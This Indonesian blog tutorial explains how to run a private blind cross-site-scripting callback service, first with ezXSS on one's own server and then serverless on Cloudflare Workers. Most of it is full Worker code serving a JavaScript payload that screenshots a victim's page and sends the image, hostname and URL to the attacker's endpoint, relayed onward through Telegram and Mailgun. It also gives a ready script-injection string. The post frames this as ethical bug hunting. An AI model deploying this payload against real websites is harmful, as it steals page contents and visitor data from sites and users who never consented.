Mungkin sebelumnya kamu adalah pengguna XSS Hunter yang dibuat oleh @IAmMandatory. Tapi jika kamu sedang mempertimbangkan untuk menggunakan self-hosted Blind XSS Hunter, silakan lanjutkan membaca tulisan ini. Pada dasarnya tulisan ini akan mengarahkan kamu untuk membangun Blind XSS Hunter milik kamu sendiri menggunakan sebuah server atau tanpa menggunakan server sama sekali. Untuk serverless, disini kita akan menggunakan Cloudflare Workers, Telegram dan sebagai opsional menggunakan mail services dari Mailgun.
Selama ini saya hanya menggunakan 2 tools ini untuk berbagai kebutuhan :
Self-Hosted Blind XSS Hunter
Jika kamu ingin menggunakan layanan yang hampir mirip dengan XSS Hunter, kamu bisa menggunakan ezXSS. Bedanya ezXSS ini menggunakan server milik kamu sendiri. Untuk mulai menggunakan ezXSS silakan ikuti petunjuk dibawah ini :
Instalasi ezXSS
Clone repo ezXSS ke document root server kamu
git clone https://github.com/ssl/ezXSS.git
Setelah itu buatlah sebuah database untuk ezXSS dan sesuaikan data yang kamu buat dengan konfigurasi di /src/Database.php line 5 - 8.
mysql -u root -p
CREATE DATABASE xss;
CREATE USER xss@localhost IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON xss.* TO xss@localhost IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
Setelah itu buka browser dan lanjutkan ke proses instalasi. Akses https://domainkamu.com/manage/install maka tampilannya akan seperti berikut ini :
Lanjutkan dengan mengisi email dan juga password untuk panel tersebut. Berikut untuk tampilan dari ezXSS :
Serverless Blind XSS Hunter Menggunakan Cloudflare Workers
Ada opsi lainnya yang bisa digunakan, jika kamu tidak memiliki server atau tidak ingin menggunakan sebuah server, kamu bisa menggunakan layanan dari Cloudflare, yakni Cloudflare Workers. Nantinya apabila payload yang kamu eksekusi berhasil, maka report akan dikirimkan oleh bot Telegram ke kamu langsung. Opsi tambahan, kamu bisa menggunakan mail service dari Mailgun untuk mendapatkan report via email berikut dengan screenshot.
Jika kamu sudah memiliki akun Cloudflare, silakan lansung menuju halaman https://dash.cloudflare.com/{account id}/workers/overview. Nantinya kamu akan memilih subdomain yang akan kamu gunakan, setelah itu dilanjutkan dengan Create Workers. Setelah itu paste code berikut :
addEventListener("fetch", event => {
event.respondWith(handleRequest(event.request))
})
////////////////////////////////////////////////////////////////////////////////////////////////////
// ! DON'T LEAK THE SECRETS !
// Use Workers KV if you can https://developers.cloudflare.com/workers/reference/storage/
const telegram_token = "bot-token"; // Telegram Bot Token
const telegram_url = "https://api.telegram.org/bot" + telegram_token + "/sendMessage";
const telegram_to = "12345678"; // User ID Kamu
const mailgun_username = "api"
const mailgun_apikey = "apikey" // API Key Mailgun
const mailgun_url = "https://api.mailgun.net/v3/domainkamu.com/messages" // Replace domainkamu.com with your domain
const mailgun_to = "[email protected]" // Email untuk menerima report
const mailgun_from = "[email protected]" // Email untuk mengirim report
const mailgun_subject = "Blind XSS Alert Bosku"
const cloudflare_route = "https://xss.teguh.workers.dev/blind.js" // Cloudflare workers punya kamu
////////////////////////////////////////////////////////////////////////////////////////////////////
// Function to parse query strings
async function getParameterByName(name, url) {
name = name.replace(/[\[\]]/g, "\\$&")
name = name.replace(/\//g, "")
let regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
results = regex.exec(url)
if (!results) return null
else if (!results[2]) return ""
else if (results[2]) {
results[2] = results[2].replace(/\//g, "")
}
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
////////////////////////////////////////////////////////////////////////////////////////////////////
// Main stuff is happening here
async function handleRequest(request) {
console.log(new Map(request.headers))
////////////////////////////////////////////////////////////////////////////////////////////////////
// Process POST request and send notifications to Telegram and E-mail
if (request.method == "POST") {
const blind_ip = request.headers.get("cf-connecting-ip") // Original visitor IP address
const blind_country = request.headers.get("cf-ipcountry") // Country by IP
const blind_referer = request.headers.get("referer")
const blind_useragent = request.headers.get("user-agent")
const postData = await request.formData();
const base64_img = postData.get("png") // btoa(canvas.toDataURL())
const blind_host = postData.get("host") // location.hostname
const blind_url = atob(atob(postData.get("url"))) // btoa(btoa(location))
////////////////////////////////////////////////////////////////////////////////////////////////////
// HTML styled message for Telegram & Mailgun
const mailgun_alert = ["<b>Blind XSS</b> was executed on : <b>" + blind_host + "</b>",
"<b>IP</b>: <code>" + blind_ip + "</code> (<b>" + blind_country + "</b>)",
"<b>user-agent</b>: <code>" + blind_useragent + "</code>",
"<b>URL</b>: <pre>" + blind_url + "</pre>",
"<b>referrer</b>:\n<pre>" + blind_referer + "</pre>",
"<a href='" + cloudflare_route + "?base64=" + base64_img + "'>Screenshot</a>"]
const telegram_alert = ["<b>Blind XSS</b> was executed on : \n<pre>" + blind_host + "</pre>\n",
"<b>IP</b> : \n<pre>" + blind_ip + " (" + blind_country + ")</pre>\n",
"<b>Full URL</b> : \n<pre>" + blind_url + "</pre>\n",
"<b>User Agent</b> : \n<pre>" + blind_useragent + "</pre>"]
////////////////////////////////////////////////////////////////////////////////////////////////////
// Telegram notification
const telegram_init = {
method: "POST",
headers: new Headers([["Content-Type", "application/x-www-form-urlencoded"]]),
body: "chat_id=" + telegram_to + "&disable_web_page_preview=1&parse_mode=html&text=" + telegram_alert.join("\r\n")
}
const telegram_response = await fetch(telegram_url, telegram_init)
console.log("Telegram response: ", telegram_response.status)
////////////////////////////////////////////////////////////////////////////////////////////////////
// Mailgun notification
let mailgun_headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic " + btoa(mailgun_username + ":" + mailgun_apikey)
}
const mailgun_init = {
method: "POST",
headers: mailgun_headers,
body: "html=" + mailgun_alert.join("<br><br>") + "&subject=" + mailgun_subject + " on " + blind_host + "&from=" + mailgun_from + "&to=" + mailgun_to
}
const mailgun_response = await fetch(mailgun_url, mailgun_init)
// console.log("Mailgun response: " + mailgun_response.status)
////////////////////////////////////////////////////////////////////////////////////////////////////
// Return something here
return new Response("Blind XSS executed, have a nice day :)", {
headers: new Headers([["Content-Type", "text/plain"], ["Access-Control-Allow-Origin", "*"]]),
status: 200
})
}
////////////////////////////////////////////////////////////////////////////////////////////////////
// Process GET requests, return base64 image, html2canvas.min.js or Blind XSS payload
else {
////////////////////////////////////////////////////////////////////////////////////////////////////
// Check for GET parameters
let base64 = await getParameterByName("base64", request.url)
let html2canvas = await getParameterByName("html2canvas", request.url)
if (base64) {
////////////////////////////////////////////////////////////////////////////////////////////////////
// Return base64 image
return new Response("<img src='" + atob(base64) + "' style='border: 1px dashed red;'>", {
headers: new Headers([["Content-Type", "text/html"]]),
status: 200
})
}
else if (html2canvas) {
////////////////////////////////////////////////////////////////////////////////////////////////////
// Return html2canvas.min.js from our domain
let content = await fetch("https://html2canvas.hertzen.com/dist/html2canvas.min.js")
return content
}
else {
////////////////////////////////////////////////////////////////////////////////////////////////////
// Return Blind XSS payload
let js_response = ["// Ethical Blind XSS hunting, nothing malicious ;)",
"let script = document.createElement('script');",
"script.onload = function () {",
" html2canvas(document.documentElement, {scale: 1}).then(canvas => {",
" let init = {",
" method: 'POST',",
" headers: new Headers([['Content-Type', 'application/x-www-form-urlencoded']]),",
" body: 'png='+btoa(canvas.toDataURL())+'&host='+location.hostname+'&url='+btoa(btoa(location))",
" }",
" fetch('" + cloudflare_route + "', init)",
" });",
"};",
"script.src = '" + cloudflare_route + "?html2canvas=1';",
"document.head.appendChild(script);"].join("\r\n")
return new Response(js_response, {
headers: new Headers([["Content-Type", "application/javascript"]]),
status: 200
})
}
}
}
Setelah itu Save & Deploy, tampilannya seperti berikut :
Berikut untuk payload nya dan sesuaikan dengan workers milik kamu :
"><script src=//xss.teguh.workers.dev/></script>
Jika payload yang kamu eksekusi berhasil, kamu akan menerima chat dari bot telegram milik kamu. Contohnya seperti berikut ini :
Jika kamu mengaktifkan opsi menerima report via email, maka tampilannya seperti berikut :
Jadi jika kamu sedang mencari opsi lain atau alternatif dari XSS Hunter, kamu bisa menggunakan ezXSS dan juga Serverless Blind XSS Hunters menggunakan Cloudflare Workers. Tergantung kamu sendiri ingin menggunakan yang mana. Sesuaikan dengan kebutuhan dan kenginan kamu sendiri.
Terima kasih dan semoga bermanfaat.